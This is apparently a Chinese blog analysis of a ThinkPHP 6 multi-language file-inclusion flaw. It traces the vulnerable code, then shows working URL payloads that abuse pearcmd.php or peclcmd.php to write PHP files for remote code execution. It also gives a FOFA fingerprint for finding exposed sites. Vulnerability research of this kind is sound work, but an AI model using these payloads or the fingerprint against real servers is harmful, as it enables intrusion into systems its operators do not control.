漏洞文章:https://tttang.com/archive/1865/
影响范围: Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x
fofa指纹: header=”think_lang”
我这里是用phpstorm配合ubuntu虚拟机进行远程调试
安装composer
1 | curl -sS https://getcomposer.org/installer | php |
用composer安装tp6,需要php版本为7以上,所以要设置一下php版本,否则会报错
1 | composer create-project --prefer-dist topthink/think=6.0.13 tp6.0.13 |
修改compoer.json来设置tp的版本
1 | "require": { |
最后执行命令
1 | composer update |
需要将多语言功能打开app/middleware.php
1 |
|
首先去了解一下thinkphp6的基本路由,控制器,架构,看看手册就行了ThinkPHP6.0完全开发手册
跟一些代码,找到漏洞点
进入\think\middleware\LoadLangPack::class
,在handle()
函数打上断点
1 | public function handle($request, Closure $next) |
middleware
里的类都会被调用handle函数,用来处理请求,这是tp6框架决定的。
开启debug,跟进detect()
1 | protected function detect(Request $request): string |
这里先用$request->get()
进行取值,$this->config['detect_var']
的值为lang
,那么就是取get参数lang的值,所以$langSet
的值是可控。
这里先给lang传参再进行调试,http://192.168.91.39:8085/public/?lang=v2222
后面运行到这里,会进行一下判断
是会进入if分支的,从而将Lang类的实例里的成员$lang
的值设置为我输入的传参v2222
,然后返回$range
然后出来函数,继续走到这里,会判断当前$langset
的值是否和默认值一样,不一样就进入if分支,很明显看到,我这里是会进入分支的
跟进$this->lang->switchLangSet()
1 | public function switchLangSet(string $langset) |
这里会加载系统语言包,这里可以知道,他加载的文件路径是可控的,可以使用目录遍历的方式,加载任意php结尾的文件
跟进load()
1 | public function load($file, $range = ''): array |
如果$file
是文件,则进入parse()
函数
跟进parse()
函数
1 | protected function parse(string $file): array |
他会判断文件后缀,如果是php,那么就用include进行包含,这里就是漏洞点,利用文件包含来进行任意代码执行
如果只利用这个点进行攻击,那么在实战中,就需要有任意文件上传的点,且知道上传文件的路径,才能进行包含造成RCE,同时需要关闭open_basedir
在没有任意文件上传的情况下,就需要找到环境自带的php文件,并且可以控制文件内容。这里就利用到了pearcmd.php
PEAR(PHP Extension and Application Repository)是一个PHP扩展和应用程序的仓库,提供了许多可重用的代码库和工具,以帮助PHP开发人员加快开发过程并提高代码质量。
PEAR工具是用于管理和操作PEAR仓库中的代码库和工具的工具集合。其中包括一个命令行界面(CLI),允许用户执行各种操作,如安装、卸载、更新、列出可用的包等。
而pearcmd.php是PEAR工具包的一部分,它是PEAR工具的命令行执行脚本,允许用户通过命令行界面来执行PEAR工具的功能,而无需直接调用PEAR库本身。
在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定
--with-pear
才会安装。不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在
/usr/local/lib/php
。
具体可以看:
可以使用命令行的方式,让pear来创建文件
1 | php ../lib/php/pearcmd.php config-create "/<?=phpinfo();exit();?>" /tmp/1.php |
这里是用命令行的形式来创建文件,那如何通过文件包含的形式来创建文件呢
pear读取参数会先尝试$argv
,如果不存在再尝试$_SERVER['argv']
,后者我们可通过query-string控制,这里需要在php.ini设置register_argc_argv=On
关于register_argc_argv
,可以看panda师傅的文章https://www.cnpanda.net/sec/787.html
也可以看php官方文档https://www.php.net/manual/en/features.commandline.differences.php
总结来说,就是开启register_argc_argv
之后,php就会将get传参里的查询字符串,以+
为分隔符传给$_SERVER['argv']
数组。
例如:
1 |
|
在文件包含pearcmd.php的时候,pearcmd.php会读取$_SERVER['argv']
的值,然后传递给pear,来执行相关操作。这样就能在文件包含里创建文件,造成任意代码执行了。这里也需要注意,要关闭open_basedir
payload:
1 | /public/index.php?+config-create+/&lang=../../../../../../../../../../../../../../usr/local/phpstudy/soft/php/php-7.3.8/lib/php/pearcmd&<?=phpinfo();die();?>+info.php |
这里最好用bp或者yakit来发包,否则浏览器会自动将<
和>
进行url编码,导致无法解析php代码
这里payload的写法也是有讲究的,因为这样写,对应php来说是传入了一下三个参数
但是对于$_SERVER['argv']
,则是传入了一下四个元素
1 |
|
转换成传入pearcmd.php的命令行格式就是
1 | php pearcmd.php config-create /&lang=../../../../../../../../../../../../../../usr/local/phpstudy/soft/php/php-7.3.8/lib/php/pearcmd&<?=phpinfo();die();?> info.php |
所以可以看到info.php
里,/&lang=../../../../../../../../../../../../../../usr/local/phpstudy/soft/php/php-7.3.8/lib/php/pearcmd&
字符串也存在里面
在pearcmd字符被禁用的情况下,也可以使用peclcmd.php
,他们一般在一个文件夹下
1 | /public/index.php?+config-create+/&lang=../../../../../../../../../../../../../../usr/local/phpstudy/soft/php/php-7.3.8/lib/php/peclcmd&<?=phpinfo();die();?>+info2.php |
综上来看,这个漏洞利用的限制还是蛮多的
需要开启多语言中间件
需要开启register_argc_argv
,但是根据网上的大佬测试发现
1 | php的官⽅docker镜像,默认都开启了register_argc_argv |
而且register_argc_argv
的可修改范围为PHP_INI_PERDIR
,可在 php.ini,.htaccess 或 httpd.conf 中设定
需要有pearcmd.php
1 | 在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 |
需要关闭open_basedir
register_argc_argv
的可修改范围为PHP_INI_ALL
(在 PHP < 5.2.3 时是 PHP_INI_SYSTEM)
限制太多了,所以略显鸡肋,而这个打法使用于很多cms,因为他主要就是利用include文件包含php文件。